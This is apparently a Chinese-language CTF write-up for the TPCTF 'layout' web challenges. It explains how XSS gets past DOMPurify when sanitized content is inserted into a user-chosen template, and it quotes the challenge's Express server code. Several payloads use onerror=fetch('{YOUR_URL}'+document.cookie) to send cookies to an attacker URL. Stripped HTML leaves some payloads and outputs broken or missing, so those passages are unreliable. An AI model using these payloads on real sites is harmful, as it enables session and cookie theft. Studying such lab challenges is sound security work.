目录

ctf-web-xss-任意位置插入情况绕过-DOMPurify-tpctf-layout

ctf-web: xss 任意位置插入情况绕过 DOMPurify – tpctf layout

参考

baby layout

题目会将 {{cont}} 将被替换为有效负载,我们可以使用 {{content}} " onerror=“fetch(’{YOUR_URL}’+document.cookie) 拼接后是这样的

或者创造意外的闭合,因为``优先级大于" {{content}}拼接后是这样的

“>

或使用 data-x(safe layout非预期)some_data” onerror=“fetch(’{YOUR_URL}’+document.cookie)

safe layout revenge

tips: 你可以使用 来查看DOMPurify过滤后的内容 // 创建文章接口,接收内容和布局ID,生成文章并保存 app.post(’/api/post’, (req, res) => { const { content, layoutId } = req.body; // 解构请求体中的内容和布局ID if (typeof content !== ‘string’ || typeof layoutId !== ’number’) { return res.status(400).send(‘Invalid params’); // 参数类型检查 } if (content.length > LENGTH_LIMIT) return res.status(400).send(‘Content too long’); // 检查内容长度是否超过限制 const layout = req.session.layouts[layoutId]; // 获取指定ID的布局 if (layout === undefined) return res.status(400).send(‘Layout not found’); // 布局ID无效 // 使用DOMPurify清理内容,去除不允许的HTML标签 const sanitizedContent = DOMPurify.sanitize(content, { ALLOWED_ATTR: [] }); // 将内容插入布局中 const body = layout.replace(/{{content}}/g, () => sanitizedContent); if (body.length > LENGTH_LIMIT) return res.status(400).send(‘Post too long’); // 检查生成的文章长度是否超过限制 // 生成文章ID并保存到Map中 const id = randomBytes(16).toString(‘hex’); posts.set(id, body); req.session.posts.push(id); // 将文章ID添加到session中 console.log(Post ${id} ${Buffer.from(layout).toString('base64')} ${Buffer.from(sanitizedContent).toString('base64')}); return res.json({ id }); // 返回文章ID }); 注意正则表达式中存在/g,这意味这我们可以在模板中防止多个{{content}},他们都会被替换 a img src onerror=fetch({YOUR_URL}/+document.cookie) 有效负载 a 会变成

a